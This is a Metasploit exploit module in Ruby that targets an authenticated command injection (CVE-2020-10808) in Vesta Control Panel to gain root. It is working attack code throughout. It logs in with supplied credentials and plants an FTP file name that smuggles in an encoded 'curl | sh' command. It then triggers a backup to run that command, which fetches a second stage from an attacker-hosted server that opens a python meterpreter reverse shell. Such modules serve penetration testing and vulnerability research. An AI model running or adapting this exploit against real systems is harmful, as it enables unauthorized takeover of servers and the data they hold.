## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info={}) super(update_info(info, 'Name' => "Vesta Control Panel Authenticated Remote Code Execution", 'Description' => %q{ This module exploits an authenticated command injection vulnerability in the v-list-user-backups bash script file in Vesta Control Panel to gain remote code execution as the root user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince ' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'], ['CVE', '2020-10808'] ], 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 300, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [[ 'Automatic', { }]], 'Privileged' => true, 'DisclosureDate' => "Mar 17 2020", 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'Reliability' => [ FIRST_ATTEMPT_FAIL, ], 'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ], } )) register_options( [ Opt::RPORT(8083), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) deregister_options('FTPUSER', 'FTPPASS') end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def login # # This is very simple login process. Nothing important. # We will be using cookie and csrf_token across the module as instance variables. # print_status('Retrieving cookie and csrf token values') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login', '/'), }) unless res fail_with(Failure::Unreachable, 'Target is unreachable.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.") end if res.get_cookies.empty? fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies') end @cookie = res.get_cookies @csrf_token = res.body.scan(//).flatten[0] || '' if @csrf_token.empty? fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.') end print_good('Cookie and CSRF token values successfully retrieved') print_status('Authenticating to HTTP Service with given credentials') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login', '/'), 'cookie' => @cookie, 'vars_post' => { 'token' => @csrf_token, 'user' => username, 'password' => password } }) unless res fail_with(Failure::Unreachable, 'Target is unreachable.') end if res.body.include?('Invalid username or password.') fail_with(Failure::NoAccess, 'Credentials are not valid.') end if res.body.include?('Invalid or missing token') fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.') end if res.code == 302 if res.get_cookies.empty? fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies') end @cookie = res.get_cookies else fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.") end end def start_backup_and_trigger_payload # # Once a scheduled backup is triggered, the v-backup-user script will be executed. # This script will take the file name that we provided and will insert it into backup.conf # so that the backup process can be performed correctly. # # At this point backup.conf should contain our payload, which we can then trigger by browsing # to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain # remote code execution) if no other backup processes are currently running. # # As a result, the exploit will check to see if a backup is currently running. If one is, it will print # 'An existing backup is already running' to the console until the existing backup is completed, at which # point it will trigger its own backup to trigger the command injection using the malicious command that was # inserted into backup.conf print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.') is_scheduled_backup_running = true while is_scheduled_backup_running # Trigger the scheduled backup process res = send_request_cgi({ 'method' => 'GET', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'), }) if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\// # Due to a bug in send_request_cgi we must manually redirect ourselves! res = send_request_cgi({ 'method' => 'GET', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'), }) if res && res.code == 200 if res.body.include?('An existing backup is already running. Please wait for that backup to finish.') # An existing backup is taking place, so we must wait for it to finish its job! print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...') sleep(30) elsif res.body.include?('Task has been added to the queue.') # Backup process is being initiated print_good('Scheduled backup has been started ! ') else fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.') end else # The web server couldn't reply to the request within given timeout window because our payload # executed in the background. This means that the res object will be 'nil' due to send_request_cgi() # timing out, which means our payload executed! print_good('Payload appears to have executed in the background. Enjoy the shells <3') is_scheduled_backup_running = false end else fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.') end end end def payload_implant # # Our payload will be placed as a file name on FTP service. # Payload length can't be more then 255 and SPACE can't be used because of a # bug in the backend software. # s # Due to these limitations, the payload is fetched using curl before then # being executed with perl. This perl script will then fetch the full # python payload and execute it. # final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" # Yet another datastore variable overriding. if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end port_restore = datastore['RPORT'] datastore['RPORT'] = 21 datastore['FTPUSER'] = username datastore['FTPPASS'] = password # # Connecting to the FTP service with same creds as web ui. # Implanting the very first stage of payload as a empty file. # if (not connect_login) fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service') end print_good('Successfully authenticated to the FTP service') res = send_cmd_data(['PUT', ".a';$(#{p});'"], "") if res.nil? fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server") end print_good('The file with the payload in the file name has been successfully uploaded.') disconnect # Revert datastore variables. datastore['RPORT'] = port_restore datastore['SSL'] = true if ssl_restore end def exploit start_http_server payload_implant login start_backup_and_trigger_payload stop_service end def on_request_uri(cli, request) print_good('First stage is executed ! Sending 2nd stage of the payload') second_stage = "python -c \"#{payload.encoded}\"" send_response(cli, second_stage, {'Content-Type'=>'text/html'}) end def start_http_server # # HttpClient and HttpServer use same SSL variable :( # We don't need SSL for payload delivery so we # will disable it temporarily. # if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) print_status("Second payload download URI is #{get_uri}") # We need to use instance variables since get_uri keeps using # the SSL setting from the datastore. # Once the URI is retrieved, we will restore the SSL settings within the datastore. @second_stage_url = get_uri datastore['SSL'] = true if ssl_restore end end